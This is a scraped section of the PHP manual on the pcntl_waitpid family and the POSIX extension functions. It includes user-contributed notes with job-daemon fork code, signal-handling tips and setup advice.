duerra at yahoo dot com 02-Jul-2010 04:12
Oops, I stripped just a little much from the job daemon code in the previous comment.  You'll want to add a little line before the ->launchJob() method is called:

<?php

while(count($this->currentJobs) >= $this->maxProcesses){
    echo "Maximum children allowed, waiting...\n";
    sleep(1);
}
duerra at yahoo dot com 02-Jul-2010 03:45
Using pcntl_fork() can be a little tricky in some situations.  For fast jobs, a child can finish processing before the parent process has executed some code related to the launching of the process.  The parent can receive a signal before it's ready to handle the child process' status.  To handle this scenario, I add an id to a "queue" of processes in the signal handler that need to be cleaned up if the parent process is not yet ready to handle them.

<?php
declare(ticks=1);
//A very basic job daemon that you can extend to your needs.
class JobDaemon{

    public $maxProcesses = 25;
    protected $jobsStarted = 0;
    protected $currentJobs = array();
    protected $signalQueue=array();
    protected $parentPID;

    public function __construct(){
        echo "constructed \n";
        $this->parentPID = getmypid();
        pcntl_signal(SIGCHLD, array($this, "childSignalHandler"));
    }

    /**
    * Run the Daemon
    */
    public function run(){
        echo "Running \n";
        for($i=0; $i<10000; $i++){
            $jobID = rand(0,10000000000000);
            $launched = $this->launchJob($jobID);
        }

        //Wait for child processes to finish before exiting here
        while(count($this->currentJobs)){
            echo "Waiting for current jobs to finish... \n";
            sleep(1);
        }
    }

    /**
    * Launch a job from the job queue
    */
    protected function launchJob($jobID){
        $pid = pcntl_fork();
        if($pid == -1){
            //Problem launching the job
            error_log('Could not launch new job, exiting');
            return false;
        }
        else if ($pid){
            // Parent process
            // Sometimes you can receive a signal to the childSignalHandler function before this code executes if
            // the child script executes quickly enough!
            //
            $this->currentJobs[$pid] = $jobID;

            // In the event that a signal for this pid was caught before we get here, it will be in our signalQueue array
            // So let's go ahead and process it now as if we'd just received the signal
            if(isset($this->signalQueue[$pid])){
                echo "found $pid in the signal queue, processing it now \n";
                $this->childSignalHandler(SIGCHLD, $pid, $this->signalQueue[$pid]);
                unset($this->signalQueue[$pid]);
            }
        }
        else{
            //Forked child, do your deeds....
            $exitStatus = 0; //Error code if you need to or whatever
            echo "Doing something fun in pid ".getmypid()."\n";
            exit($exitStatus);
        }
        return true;
    }

    public function childSignalHandler($signo, $pid=null, $status=null){

        //If no pid is provided, that means we're getting the signal from the system.  Let's figure out
        //which child process ended
        if(!$pid){
            $pid = pcntl_waitpid(-1, $status, WNOHANG);
        }

        //Make sure we get all of the exited children
        while($pid > 0){
            if($pid && isset($this->currentJobs[$pid])){
                $exitCode = pcntl_wexitstatus($status);
                if($exitCode != 0){
                    echo "$pid exited with status ".$exitCode."\n";
                }
                unset($this->currentJobs[$pid]);
            }
            else if($pid){
                //Oh no, our job has finished before this parent process could even note that it had been launched!
                //Let's make note of it and handle it when the parent process is ready for it
                echo "..... Adding $pid to the signal queue ..... \n";
                $this->signalQueue[$pid] = $status;
            }
            $pid = pcntl_waitpid(-1, $status, WNOHANG);
        }
        return true;
    }
}
digitalaudiorock at gmail dot com 21-Jun-2010 11:44
I was unable to get pcntl_wait or pcntl_waitpid to terminate when I had an active signal handler.  I then noticed the post below from gaylord at 100days dot de, however I'm a little confused by that post as I found the exact opposite to be true.  The default value of the third parameter of pcntl_signal (the restart_syscalls parameter) is true and this seems to cause the wait to continue when the signal arrives.  In order to prevent this I had to expressly set it to false.  That is:

pcntl_signal(SIGTERM, 'my_handler_function', false);
gaylord at 100days dot de 16-Jun-2010 02:17
pcntl_wait will not terminate on signals if you have a PHP signal handler activated (pcntl_signal).
This is unless the signal handler was activated with 3rd parameter=true.

Example:
<?php
declare(ticks=1);
pcntl_signal(SIGTERM, "myHandler");
$pid=pcntl_wait($status);
?>

This will not terminate on SIGTERM sent to the process, because "wait" will be restarted after php recieves the signal. The signal handler "myHandler" will not be called unless pcntl_wait terminates for some other reason.

Change to:
<?php
declare(ticks=1);
pcntl_signal(SIGTERM, "myHandler", true);
$pid=pcntl_wait($status);
?>

Now the pcntl_wait terminates when a signal comes in and "myHandler" will be called on SIGTERM. (Make sure to put the wait in a loop though, because it will now not only terminate when a child exits but also when a signal arrives. Test for $pid>0 to detect a exit message from a child)
(thanks to Andrey for helping me debugging this)
thomas dot nicolai at unisg dot ch 24-Mar-2006 08:19
The code before isnt working for me cause the children are correctly started but not refreshed after they died. So keep in mind to use this instead and use the signal handler to know when a child exits to know when you have to start a new one. I added a few lines to the posting from {andy at cbeyond dot net} cause his post wasnt working for me as well (PHP5.1). Same effect like the one below.

<?php
declare(ticks = 1);

$max=5;
$child=0;

// function for signal handler
function sig_handler($signo) {
  global $child;
  switch ($signo) {
   case SIGCHLD:
     echo "SIGCHLD received\n";
     $child--;
  }
}

// install signal handler for dead kids
pcntl_signal(SIGCHLD, "sig_handler");

while (1){
       $child++;
       $pid=pcntl_fork();

       if ($pid == -1) {
               die("could not fork");
       } else if ($pid) {

               // we are the parent
               if ( $child >= $max ){
                   pcntl_wait($status);
                   $child++;
               }
       } else {
               // we are the child
               echo "\t Starting new child | now we de have $child child processes\n";
               // presumably doing something interesting
               sleep(rand(3,5));
               exit;
       }
}
?>
federico at nextware dot it 20-Feb-2006 01:39
This a simple multi process application where you can choose
the maximun process that can run at the same time.
This is useful when you need to limit the fork of process.
When the MAXPROCESS is reached the program wait on pcntl_wait()

<?php

DEFINE(MAXPROCESS,25);

for ($i=0;$i<100;$i++){
    $pid = pcntl_fork();

    if ($pid == -1) {
       die("could not fork");
    } elseif ($pid) {
                echo "I'm the Parent $i\n";
        $execute++;
        if ($execute>=MAXPROCESS){
            pcntl_wait($status);
            $execute--;
        }
    } else {
       echo "I am the child, $i pid = $pid \n";
       sleep(rand(1,3));
       echo "Bye Bye from $i\n";
       exit;
    }
}
?>
thisisroot at gmail dot com 19-Oct-2005 04:14
Below is a simple example of forking some children and timing the total duration (useful for stress tests).

<?php

$isParent    = true;
$children    = array();
$start        = microtime( true);

/* Fork you!
 * (Sorry, I had to)
 */
$ceiling = $CONCURRENCY - 1;

for ( $i = 0; (( $i < $ceiling) && ( $isParent)); $i++) {
    $pid = pcntl_fork();
    if ( $pid === 0) {
        $isParent = false;

    } elseif ( $pid != -1) {
        $children[] = $pid;

    }

}

/* Process body */
echo "Do stuff here\n";

/* Cleanup */
if ( $isParent) {
    $status = null;
    while ( count( $children)) {
        pcntl_wait( $status);
        array_pop( $children);
    }

    echo "Completed in " . ( microtime( true) - $start) . " seconds.\n";

}

?>


Waits on or returns the status of a forked child

  • « pcntl_wait
  • pcntl_wexitstatus »
  • PHP Manual
  • PCNTL Functions
  • Waits on or returns the status of a forked child

pcntl_waitpid

(PHP 4 >= 4.1.0, PHP 5)

pcntl_waitpid — Waits on or returns the status of a forked child

Description

int pcntl_waitpid ( int $pid , int &$status [, int $options = 0 ] )

Suspends execution of the current process until a child as specified by the pid argument has exited, or until a signal is delivered whose action is to terminate the current process or to call a signal handling function.

If a child as requested by pid has already exited by the time of the call (a so-called "zombie" process), the function returns immediately. Any system resources used by the child are freed. Please see your system's waitpid(2) man page for specific details as to how waitpid works on your system.

Parameters

pid

The value of pid can be one of the following:

possible values for pid
< -1 | wait for any child process whose process group ID is equal to the absolute value of pid.
-1 | wait for any child process; this is the same behaviour that the wait function exhibits.
0 | wait for any child process whose process group ID is equal to that of the calling process.
> 0 | wait for the child whose process ID is equal to the value of pid.

Note:

Specifying -1 as the pid is equivalent to the functionality pcntl_wait() provides (minus options).

status

pcntl_waitpid() will store status information
in the status parameter which can be
evaluated using the following functions:
pcntl_wifexited(),
pcntl_wifstopped(),
pcntl_wifsignaled(),
pcntl_wexitstatus(),
pcntl_wtermsig() and
pcntl_wstopsig().

options

The value of options is the value of zero or more of the following two global constants OR'ed together:

possible values for options
WNOHANG | return immediately if no child has exited.
WUNTRACED | return for children which are stopped, and whose status has not been reported.

Return Values

pcntl_waitpid() returns the process ID of the child which exited, -1 on error or zero if WNOHANG was used and no child was available

See Also

  • pcntl_fork() - Forks the currently running process
  • pcntl_signal() - Installs a signal handler
  • pcntl_wifexited() - Checks if status code represents a normal exit
  • pcntl_wifstopped() - Checks whether the child process is currently stopped
  • pcntl_wifsignaled() - Checks whether the status code represents a termination due to a signal
  • pcntl_wexitstatus() - Returns the return code of a terminated child
  • pcntl_wtermsig() - Returns the signal which caused the child to terminate
  • pcntl_wstopsig() - Returns the signal which caused the child to stop

User Contributed Notes

fx4084 at gmail dot com 12-Sep-2014 04:53
<?php
$childs = array();

// Fork some process.
for($i = 0; $i < 10; $i++) {
    $pid = pcntl_fork();
    if($pid == -1)
        die('Could not fork');

    if ($pid) {
        echo "parent \n";
        $childs[] = $pid;
    } else {
        // Sleep $i+1 (s). The child process can get this parameters($i).
        sleep($i+1);

        // The child process needed to end the loop.
        exit();
    }
}

while(count($childs) > 0) {
    foreach($childs as $key => $pid) {
        $res = pcntl_waitpid($pid, $status, WNOHANG);

        // If the process has already exited
        if($res == -1 || $res > 0)
            unset($childs[$key]);
    }

    sleep(1);
}
?>
saguto dot l7cc at gmail dot com 10-Apr-2008 06:09
please note, if you using configure option --enable-sigchild(Enable PHP's own SIGCHLD handler) when complie php(under linux 2.6.18-53.1.13.el5.centos.plus and php 5.2.5 as I know), pcntl_waitpid and pcntl_wait in php script would never return the child pid, because the build in handle get it first.


Returns the return code of a terminated child

  • « pcntl_waitpid
  • pcntl_wifexited »
  • PHP Manual
  • PCNTL Functions
  • Returns the return code of a terminated child

pcntl_wexitstatus

(PHP 4 >= 4.1.0, PHP 5)

pcntl_wexitstatus — Returns the return code of a terminated child

Description

int pcntl_wexitstatus ( int $status )

Returns the return code of a terminated child. This function is only useful if pcntl_wifexited() returned TRUE.

Parameters

status

The status parameter is the status parameter supplied to a successful call to pcntl_waitpid().

Return Values

Returns the return code, as an integer.

See Also

  • pcntl_waitpid() - Waits on or returns the status of a forked child
  • pcntl_wifexited() - Checks if status code represents a normal exit

User Contributed Notes

There are no user contributed notes for this page.


Checks if status code represents a normal exit

  • « pcntl_wexitstatus
  • pcntl_wifsignaled »
  • PHP Manual
  • PCNTL Functions
  • Checks if status code represents a normal exit

pcntl_wifexited

(PHP 4 >= 4.1.0, PHP 5)

pcntl_wifexited — Checks if status code represents a normal exit

Description

bool pcntl_wifexited ( int $status )

Checks whether the child status code represents a normal exit.

Parameters

status

The status parameter is the status parameter supplied to a successful call to pcntl_waitpid().

Return Values

Returns TRUE if the child status code represents a normal exit, FALSE otherwise.

See Also

  • pcntl_waitpid() - Waits on or returns the status of a forked child
  • pcntl_wexitstatus() - Returns the return code of a terminated child

User Contributed Notes

There are no user contributed notes for this page.


Checks whether the status code represents a termination due to a signal

  • « pcntl_wifexited
  • pcntl_wifstopped »
  • PHP Manual
  • PCNTL Functions
  • Checks whether the status code represents a termination due to a signal

pcntl_wifsignaled

(PHP 4 >= 4.1.0, PHP 5)

pcntl_wifsignaled — Checks whether the status code represents a termination due to a signal

Description

bool pcntl_wifsignaled ( int $status )

Checks whether the child process exited because of a signal which was not caught.

Parameters

status

The status parameter is the status parameter supplied to a successful call to pcntl_waitpid().

Return Values

Returns TRUE if the child process exited because of a signal which was not caught, FALSE otherwise.

See Also

  • pcntl_waitpid() - Waits on or returns the status of a forked child
  • pcntl_signal() - Installs a signal handler

User Contributed Notes

There are no user contributed notes for this page.


Checks whether the child process is currently stopped

  • « pcntl_wifsignaled
  • pcntl_wstopsig »
  • PHP Manual
  • PCNTL Functions
  • Checks whether the child process is currently stopped

pcntl_wifstopped

(PHP 4 >= 4.1.0, PHP 5)

pcntl_wifstopped — Checks whether the child process is currently stopped

Description

bool pcntl_wifstopped ( int $status )

Checks whether the child process which caused the return is currently stopped; this is only possible if the call to pcntl_waitpid() was done using the option WUNTRACED.

Parameters

status

The status parameter is the status parameter supplied to a successful call to pcntl_waitpid().

Return Values

Returns TRUE if the child process which caused the return is currently stopped, FALSE otherwise.

See Also

  • pcntl_waitpid() - Waits on or returns the status of a forked child

User Contributed Notes

There are no user contributed notes for this page.


Returns the signal which caused the child to stop

  • « pcntl_wifstopped
  • pcntl_wtermsig »
  • PHP Manual
  • PCNTL Functions
  • Returns the signal which caused the child to stop

pcntl_wstopsig

(PHP 4 >= 4.1.0, PHP 5)

pcntl_wstopsig — Returns the signal which caused the child to stop

Description

int pcntl_wstopsig ( int $status )

Returns the number of the signal which caused the child to stop. This function is only useful if pcntl_wifstopped() returned TRUE.

Parameters

status

The status parameter is the status parameter supplied to a successful call to pcntl_waitpid().

Return Values

Returns the signal number.

See Also

  • pcntl_waitpid() - Waits on or returns the status of a forked child
  • pcntl_wifstopped() - Checks whether the child process is currently stopped

User Contributed Notes

There are no user contributed notes for this page.


Returns the signal which caused the child to terminate

  • « pcntl_wstopsig
  • POSIX »
  • PHP Manual
  • PCNTL Functions
  • Returns the signal which caused the child to terminate

pcntl_wtermsig

(PHP 4 >= 4.1.0, PHP 5)

pcntl_wtermsig — Returns the signal which caused the child to terminate

Description

int pcntl_wtermsig ( int $status )

Returns the number of the signal that caused the child process to terminate. This function is only useful if pcntl_wifsignaled() returned TRUE.

Parameters

status

The status parameter is the status parameter supplied to a successful call to pcntl_waitpid().

Return Values

Returns the signal number, as an integer.

See Also

  • pcntl_waitpid() - Waits on or returns the status of a forked child
  • pcntl_signal() - Installs a signal handler
  • pcntl_wifsignaled() - Checks whether the status code represents a termination due to a signal

User Contributed Notes

There are no user contributed notes for this page.


POSIX

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • POSIX Functions
    • posix_access — Determine accessibility of a file
    • posix_ctermid — Get path name of controlling terminal
    • posix_errno — Alias of posix_get_last_error
    • posix_get_last_error — Retrieve the error number set by the last posix function that failed
    • posix_getcwd — Pathname of current directory
    • posix_getegid — Return the effective group ID of the current process
    • posix_geteuid — Return the effective user ID of the current process
    • posix_getgid — Return the real group ID of the current process
    • posix_getgrgid — Return info about a group by group id
    • posix_getgrnam — Return info about a group by name
    • posix_getgroups — Return the group set of the current process
    • posix_getlogin — Return login name
    • posix_getpgid — Get process group id for job control
    • posix_getpgrp — Return the current process group identifier
    • posix_getpid — Return the current process identifier
    • posix_getppid — Return the parent process identifier
    • posix_getpwnam — Return info about a user by username
    • posix_getpwuid — Return info about a user by user id
    • posix_getrlimit — Return info about system resource limits
    • posix_getsid — Get the current sid of the process
    • posix_getuid — Return the real user ID of the current process
    • posix_initgroups — Calculate the group access list
    • posix_isatty — Determine if a file descriptor is an interactive terminal
    • posix_kill — Send a signal to a process
    • posix_mkfifo — Create a fifo special file (a named pipe)
    • posix_mknod — Create a special or ordinary file (POSIX.1)
    • posix_setegid — Set the effective GID of the current process
    • posix_seteuid — Set the effective UID of the current process
    • posix_setgid — Set the GID of the current process
    • posix_setpgid — Set process group id for job control
    • posix_setsid — Make the current process a session leader
    • posix_setuid — Set the UID of the current process
    • posix_strerror — Retrieve the system error message associated with the given errno
    • posix_times — Get process times
    • posix_ttyname — Determine terminal device name
    • posix_uname — Get system name

User Contributed Notes

docvert at holloway dot co dot nz 17-Jun-2008 02:45
I suggest changing the description of posix_times() from "Get process times" to "Get current process times" in order to follow the "current process" naming convention of the other functions.


Introduction

This module contains an interface to those functions defined in the IEEE 1003.1 (POSIX.1) standards document which are not accessible through other means.

Warning

Sensitive data can be retrieved with the POSIX functions, e.g. posix_getpwnam() and friends. None of the POSIX function perform any kind of access checking when safe mode is enabled. It's therefore strongly advised to disable the POSIX extension at all (use --disable-posix in your configure line) if you're operating in such an environment.

Note: This extension is not available on Windows platforms.

User Contributed Notes

boogiebug at gmail dot com 24-Jul-2010 12:28
In case that you are running PHP on CentOS or other RHEL clone distro which the POSIX support is disabled by default, you will need the php-process package to enable it. Simply install it via the yum:

$> yum install php-process

and then restart the web server.


Installation

POSIX functions are enabled by default. You can disable POSIX-like functions with --disable-posix .

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

POSIX_F_OK (integer)
Check whether the file exists.
POSIX_R_OK (integer)
Check whether the file exists and has read permissions.
POSIX_W_OK (integer)
Check whether the file exists and has write permissions.
POSIX_X_OK (integer)
Check whether the file exists and has execute permissions.
POSIX_S_IFBLK (integer)
Block special file
POSIX_S_IFCHR (integer)
Character special file
POSIX_S_IFIFO (integer)
FIFO (named pipe) special file
POSIX_S_IFREG (integer)
Normal file
POSIX_S_IFSOCK (integer)
Socket

Note:

These constants are available since PHP 5.1.0. Please also note that some of them may not be available in your system.

User Contributed Notes

There are no user contributed notes for this page.


POSIX Functions

See Also

The section about Process Control Functions maybe of interest for you.

Table of Contents

  • posix_access — Determine accessibility of a file
  • posix_ctermid — Get path name of controlling terminal
  • posix_errno — Alias of posix_get_last_error
  • posix_get_last_error — Retrieve the error number set by the last posix function that failed
  • posix_getcwd — Pathname of current directory
  • posix_getegid — Return the effective group ID of the current process
  • posix_geteuid — Return the effective user ID of the current process
  • posix_getgid — Return the real group ID of the current process
  • posix_getgrgid — Return info about a group by group id
  • posix_getgrnam — Return info about a group by name
  • posix_getgroups — Return the group set of the current process
  • posix_getlogin — Return login name
  • posix_getpgid — Get process group id for job control
  • posix_getpgrp — Return the current process group identifier
  • posix_getpid — Return the current process identifier
  • posix_getppid — Return the parent process identifier
  • posix_getpwnam — Return info about a user by username
  • posix_getpwuid — Return info about a user by user id
  • posix_getrlimit — Return info about system resource limits
  • posix_getsid — Get the current sid of the process
  • posix_getuid — Return the real user ID of the current process
  • posix_initgroups — Calculate the group access list
  • posix_isatty — Determine if a file descriptor is an interactive terminal
  • posix_kill — Send a signal to a process
  • posix_mkfifo — Create a fifo special file (a named pipe)
  • posix_mknod — Create a special or ordinary file (POSIX.1)
  • posix_setegid — Set the effective GID of the current process
  • posix_seteuid — Set the effective UID of the current process
  • posix_setgid — Set the GID of the current process
  • posix_setpgid — Set process group id for job control
  • posix_setsid — Make the current process a session leader
  • posix_setuid — Set the UID of the current process
  • posix_strerror — Retrieve the system error message associated with the given errno
  • posix_times — Get process times
  • posix_ttyname — Determine terminal device name
  • posix_uname — Get system name

User Contributed Notes

random832 at fastmail dot fm 13-Jun-2007 06:04
That is not part of POSIX, those are only present as you listed on linux systems - some other systems have a /proc with different things in it (sometimes stuff that's symbolic links on linux will be hardlinks, textfiles on linux will be binary, or different files with different information) or none at all
roberto at spadim dot com dot br 03-Oct-2006 06:36
don't forget that in posix systems you can use /proc/$process_id/
files:
auxv
cmdline
cwd
environ
exe
fd
maps
mem
mounts
root
stat
statm
status
task
wchan

with it you can make somethings like:

$PPID=getmypid();
$pid=pcntl_fork();
if ($pid==0){
while(1){
if (strpos(file_get_contents("/proc/$PPID/cmdline"),'php')===false) echo "parent pid die";
}

}else{
// forked
}

with this you can use some libs that block signal or some bad signal handling or zombies process or anything you can think :)


Determine accessibility of a file

  • « POSIX Functions
  • posix_ctermid »
  • PHP Manual
  • POSIX Functions
  • Determine accessibility of a file

posix_access

(PHP 5 >= 5.1.0)

posix_access — Determine accessibility of a file

Description

bool posix_access ( string $file [, int $mode = POSIX_F_OK ] )

posix_access() checks the user's permission of a file.

Parameters

file

The name of the file to be tested.

mode

A mask consisting of one or more of POSIX_F_OK, POSIX_R_OK, POSIX_W_OK and POSIX_X_OK.

POSIX_R_OK, POSIX_W_OK and POSIX_X_OK request checking whether the file exists and has read, write and execute permissions, respectively. POSIX_F_OK just requests checking for the existence of the file.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 posix_access() example

This example will check if the $file is readable and writable, otherwise will print an error message.

<?php

$file = 'some_file';

if (posix_access($file, POSIX_R_OK | POSIX_W_OK)) {
    echo 'The file is readable and writable!';

} else {
    $error = posix_get_last_error();

    echo "Error $error: " . posix_strerror($error);
}

?>

Notes

Note: When safe mode is enabled, PHP checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.

See Also

  • posix_get_last_error() - Retrieve the error number set by the last posix function that failed
  • posix_strerror() - Retrieve the system error message associated with the given errno

User Contributed Notes

unixguy at earth dot com 13-Jun-2014 05:00
It should be noted that this function performs access checks based on the real UID and real GID of the process running PHP.  These aren't necessarily the same as the effective UID and GID.

In other words, it may well be that access() returns “true” for a particular permission, but an fopen() operation which requires the same permission will fail, and vice versa.

Keep that in mind if you use access() for such checks.


Get path name of controlling terminal

  • « posix_access
  • posix_errno »
  • PHP Manual
  • POSIX Functions
  • Get path name of controlling terminal

posix_ctermid

(PHP 4, PHP 5)

posix_ctermid — Get path name of controlling terminal

Description

string posix_ctermid ( void )

Generates a string which is the pathname for the current controlling terminal for the process. On error this will set errno, which can be checked using posix_get_last_error()

Return Values

Upon successful completion, returns string of the pathname to the current controlling terminal. Otherwise FALSE is returned and errno is set, which can be checked with posix_get_last_error().

Examples

Example #1 posix_ctermid() example

This example will display the path to the current TTY.

<?php
echo "I am running from ".posix_ctermid();
?>

See Also

  • posix_ttyname() - Determine terminal device name
  • posix_get_last_error() - Retrieve the error number set by the last posix function that failed

User Contributed Notes

There are no user contributed notes for this page.


Alias of posix_get_last_error

  • « posix_ctermid
  • posix_get_last_error »
  • PHP Manual
  • POSIX Functions
  • Alias of posix_get_last_error

posix_errno

(PHP 4 >= 4.2.0, PHP 5)

posix_errno — Alias of posix_get_last_error()

Description

This function is an alias of: posix_get_last_error().

User Contributed Notes

There are no user contributed notes for this page.


Retrieve the error number set by the last posix function that failed

  • « posix_errno
  • posix_getcwd »
  • PHP Manual
  • POSIX Functions
  • Retrieve the error number set by the last posix function that failed

posix_get_last_error

(PHP 4 >= 4.2.0, PHP 5)

posix_get_last_error — Retrieve the error number set by the last posix function that failed

Description

int posix_get_last_error ( void )

Retrieve the error number set by the last posix function that failed. The system error message associated with the errno may be checked with posix_strerror().

Return Values

Returns the errno (error number) set by the last posix function that failed. If no errors exist, 0 is returned.

Examples

Example #1 posix_get_last_error() example

This example attempt to kill a bogus process id, which will set the last error. We will then print out the last errno.

<?php
posix_kill(999459,SIGKILL);
echo 'Your error returned was '.posix_get_last_error(); //Your error was ___
?>

See Also

  • posix_strerror() - Retrieve the system error message associated with the given errno

User Contributed Notes

anajilly at gmail dot com 19-Jan-2014 07:20
Many posix functions give very useful information in the errno code when an error occurs.  For instance, stream_select(), when it generates an error, according to the man page (man 2 select) may return one of four different errors which are listed as:  EBADF, EINTR, EINVAL, ENOMEM.  See the man page for more specific information about these.  In this example, when the stream_select() function returns false, posix_get_last_error() will return a non-zero value that will be set to one of these constants.  For instance, if stream_select() == false, and posix_get_last_error() == EBADF,  then one of the file descriptors given to the select() function has probably closed somehow. If, on the other hand, posix_get_last_error() returns EINTR then stream_select() returned FALSE not because of any true error condition, but only because the process handled a signal. When the signal arrives while stream_select() is blocking it will always stop blocking and return false immediately. This behavior makes sense, though it can seem inconvenient.  You just have to handle it correctly. (not many do, in php.)

From this example it should probably be clear that one should at least consider handling different error types in different ways.  EINTER should probably be ignored for instance, unless your program uses signalling to open or close file handles or sockets.

These error constants listed in the related POSIX man pages are not part of the PHP interface. When you call posix_get_last_error() it will return an integer. The problem  with getting an unnamed integer return code is that these integers may mean different things on different systems.  You can (and probably should) pass the resulting integer to the posix_strerror() function, which will return an accurate human-readable description of what the error is. This is useful of course, but mainly for logging. (String descriptions of errors are far more prone to change than are the actual integer value codes.)  Truly, when using the result of posix_errno() it is best to check the value against a set of possible constants.  The constants you compare them to are system specific, as stated earlier, so you need to look them up on that system.  Here is an easy and reliable way to do that.

Look at the errno man page ($ man errno) and copy all of the constant names into a very basic C file.  like this.

===================================
#include <errno.h>
#include <stdio.h>
int main(){
  printf("define('E2BIG', %d);\n", E2BIG);
  printf("define('EACCES', %d);\n", EACCES);
  printf("define('EADDRINUSE', %d);\n", EADDRINUSE);
  printf("define('EADDRNOTAVAIL', %d);\n", EADDRNOTAVAIL);
//  ...  etc. etc.
}
===================================

Now, if you just run this code through the C pre-processor (i.e. 'gcc -E cfile.c'), then those constant names will be replaced by the numbers which are used on your system.  (warning:  running the C compiler/pre-processor needs to take place on the system where the PHP code will be running. keep track of whether nfs is in use or something else along those lines which may separate your coding environment from the runtime environment.)  In addition to running the C pre-processor you also simply compile and run the above program (i.e. 'gcc cfile.c && ./a.out'). Running it will generate a PHP compatible list of define() calls that will correctly define these constants in your PHP program on the target system, so will be usable. Simply copy the definitions into a php file.

To finish the example, you might use these constants like this:

$selret = stream_select( $r, $w, $e, $to );
if( $selret === false )
{
    switch( posix_get_last_error() )
    {
        case EBADF:    /* one of the handles is bad. fix it. */ break;
        case EINVAL:    /* $to is negative? woops. */ break;
        case ENOMEM:
            throw new exception("probable memory leak. restart.");
            break;
       case EINTR:
           break; // usually ignore EINTR after select() is fine.
    }
}


Pathname of current directory

  • « posix_get_last_error
  • posix_getegid »
  • PHP Manual
  • POSIX Functions
  • Pathname of current directory

posix_getcwd

(PHP 4, PHP 5)

posix_getcwd — Pathname of current directory

Description

string posix_getcwd ( void )

Gets the absolute pathname of the script's current working directory. On error, it sets errno which can be checked using posix_get_last_error()

Return Values

Returns a string of the absolute pathname on success. On error, returns FALSE and sets errno which can be checked with posix_get_last_error().

Examples

Example #1 posix_getcwd() example

This example will return the absolute path of the current working directory of the script.

<?php
echo 'My current working directory is '.posix_getcwd();
?>

Notes

Note:

This function can fail on

  • Read or Search permission was denied
  • Pathname no longer exists

User Contributed Notes

phpmanual-getcwd at devin dot com 27-Jul-2000 03:39
From the GNU getcwd(3) manpage, paraphrased: returns the absolute pathname of the current working directory.  Fails when the current directory is not eradable.  Complies with POSIX.1 spec.


Return the effective group ID of the current process

  • « posix_getcwd
  • posix_geteuid »
  • PHP Manual
  • POSIX Functions
  • Return the effective group ID of the current process

posix_getegid

(PHP 4, PHP 5)

posix_getegid — Return the effective group ID of the current process

Description

int posix_getegid ( void )

Return the numeric effective group ID of the current process.

Return Values

Returns an integer of the effective group ID.

Examples

Example #1 posix_getegid() example

This example will print out the effective group id, once it is changed with posix_setegid().

<?php
echo 'My real group id is '.posix_getgid(); //20
posix_setegid(40);
echo 'My real group id is '.posix_getgid(); //20
echo 'My effective group id is '.posix_getegid(); //40
?>

Notes

posix_getegid() is different than posix_getgid() because effective group ID can be changed by a calling process using posix_setegid().

See Also

  • posix_getgrgid() - Return info about a group by group id
  • posix_getgid() - Return the real group ID of the current process
  • posix_setgid() - Set the GID of the current process

User Contributed Notes

There are no user contributed notes for this page.


Return the effective user ID of the current process

  • « posix_getegid
  • posix_getgid »
  • PHP Manual
  • POSIX Functions
  • Return the effective user ID of the current process

posix_geteuid

(PHP 4, PHP 5)

posix_geteuid — Return the effective user ID of the current process

Description

int posix_geteuid ( void )

Return the numeric effective user ID of the current process. See also posix_getpwuid() for information on how to convert this into a useable username.

Return Values

Returns the user id, as an integer

Examples

Example #1 posix_geteuid() example

This example will show the current user id then set the effective user id to a separate id using posix_seteuid(), then show the difference between the real id and the effective id.

<?php
echo posix_getuid()."\n"; //10001
echo posix_geteuid()."\n"; //10001
posix_seteuid(10000);
echo posix_getuid()."\n"; //10001
echo posix_geteuid()."\n"; //10000
?>

See Also

  • posix_getpwuid() - Return info about a user by user id
  • posix_getuid() - Return the real user ID of the current process
  • posix_setuid() - Set the UID of the current process
  • POSIX man page GETEUID(2)

User Contributed Notes

There are no user contributed notes for this page.


Return the real group ID of the current process

  • « posix_geteuid
  • posix_getgrgid »
  • PHP Manual
  • POSIX Functions
  • Return the real group ID of the current process

posix_getgid

(PHP 4, PHP 5)

posix_getgid — Return the real group ID of the current process

Description

int posix_getgid ( void )

Return the numeric real group ID of the current process.

Return Values

Returns the real group id, as an integer.

Examples

Example #1 posix_getgid() example

This example will print out the real group id, even once the effective group id has been changed.

<?php
echo 'My real group id is '.posix_getgid(); //20
posix_setegid(40);
echo 'My real group id is '.posix_getgid(); //20
echo 'My effective group id is '.posix_getegid(); //40
?>

See Also

  • posix_getgrgid() - Return info about a group by group id
  • posix_getegid() - Return the effective group ID of the current process
  • posix_setgid() - Set the GID of the current process
  • POSIX man page GETGID(2)

User Contributed Notes

vector from ionisis.com 14-Oct-2011 02:07
i came across this error:
Call to undefined function posix_getuid()

which was solved by these commands:
yum -y install php-process
service httpd restart


Return info about a group by group id

  • « posix_getgid
  • posix_getgrnam »
  • PHP Manual
  • POSIX Functions
  • Return info about a group by group id

posix_getgrgid

(PHP 4, PHP 5)

posix_getgrgid — Return info about a group by group id

Description

array posix_getgrgid ( int $gid )

Gets information about a group provided its id.

Parameters

gid

The group id.

Return Values

The array elements returned are:

The group information array
Element | Description
name | The name element contains the name of the group. This is a short, usually less than 16 character "handle" of the group, not the real, full name.
passwd | The passwd element contains the group's password in an encrypted format. Often, for example on a system employing "shadow" passwords, an asterisk is returned instead.
gid | Group ID, should be the same as the gid parameter used when calling the function, and hence redundant.
members | This consists of an array of string's for all the members in the group.

Examples

Example #1 Example use of posix_getgrgid()

<?php

$groupid   = posix_getegid();
$groupinfo = posix_getgrgid($groupid);

print_r($groupinfo);
?>

The above example will output something similar to:

Array
(
    [name]    => toons
    [passwd]  => x
    [members] => Array
        (
            [0] => tom
            [1] => jerry
        )
    [gid]     => 42
)

See Also

  • posix_getegid() - Return the effective group ID of the current process
  • posix_getgrnam() - Return info about a group by name
  • filegroup() - Gets file group
  • stat() - Gives information about a file
  • safe_mode_gid
  • POSIX man page GETGRNAM(3)

User Contributed Notes

cweiske at php dot net 10-May-2009 04:50
When posix_getgrgid() fails (e.g. an invalid/unknown group id), it returns false.
This is except for Mac OSX on which you get an array with name "nogroup" and gid of "-1".
james at jfc dot org dot uk 16-Apr-2003 08:21
in php-4.3 the array returned seems to have changed.

it now returns:

["name"] group name
["passwd"] group password
["members"] group members (array of usernames)
["gid"] numeric group id
tech at dslip dot com dot au 13-May-2002 03:27
okies...

